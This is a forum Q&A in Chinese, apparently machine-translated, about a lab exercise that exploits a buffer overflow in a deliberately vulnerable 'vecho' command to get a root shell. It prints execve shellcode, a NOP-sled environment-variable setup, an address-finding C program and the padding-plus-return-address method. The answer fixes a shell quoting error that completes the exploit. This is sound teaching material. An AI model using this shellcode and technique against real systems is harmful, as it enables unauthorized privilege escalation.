2016-04-03 39 views
0

我正在做一個實驗,要求我們執行緩衝區溢出以使用內​​置的脆弱命令vecho(功能與echo相同)獲取root權限。然而,無論我嘗試什麼,我都無法讓它工作。使用vecho實現緩衝區溢出漏洞

.section .text 
.globl _start 
_start: 
    xor %eax, %eax // your comments go here 
    push %eax  // and here, and so on... 
    push $0x68732f2f 
    push $0x6e69622f 
    mov %esp, %ebx 
    push %eax 
    mov %esp, %ecx 
    push %ebx 
    mov %eax, %edx 
    mov $0xb, %al 
    int $0x80 

我們做

export EGG=$(<shellcode.bin) 

這個裝入保存雞蛋的環境變量,然後我們做一個雪橇

SLED=`python -c "print '\x90' * 100"` 

而且雪橇添加到變量

export EGG=$SLED$EGG 

然後我們找到這EGG將是當我們運行vecho使用該

#include<stdio.h> 
    #include<stdlib.h> 
    #include<string.h> 
    int main(int argc, char** argv){ 
     char *ptr; 
     if(argc < 3){ 
      printf("Usage:%s<environmentvar><targetprogramname>\n", 
      argv[0]); 
      exit(0); 
    } 
    ptr = getenv(argv[1]); 
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; 
    printf("%s will be at %p\n", argv[1], ptr); 
} 

然後,我們做這樣的事情

ADDRESS=echo -en "\xff\xff\xff\xbf" 

和填充變量是足夠的字符創建的以Little Endian形式的地址變量的地址推地址到EIP,然後運行

vecho $PADDING$ADDRESS 

但無論我怎麼努力,我得到或者如果填充太小,一個成功的打印,賽格故障,如果是填充太長,非法指令在中間。我覺得這個非法指令很重要,但我無法實際運行shell代碼。

回答

0

你已經差不多了。該指令是非法的,因爲它看起來像將echo -en「\ xff \ xff \ xff \ xbf」分配給ADDRESS。你想要做的是:

ADDRESS=`echo -en "\xff\xff\xff\xbf"` 

這將分配結果到ADDRESS而不是整個命令。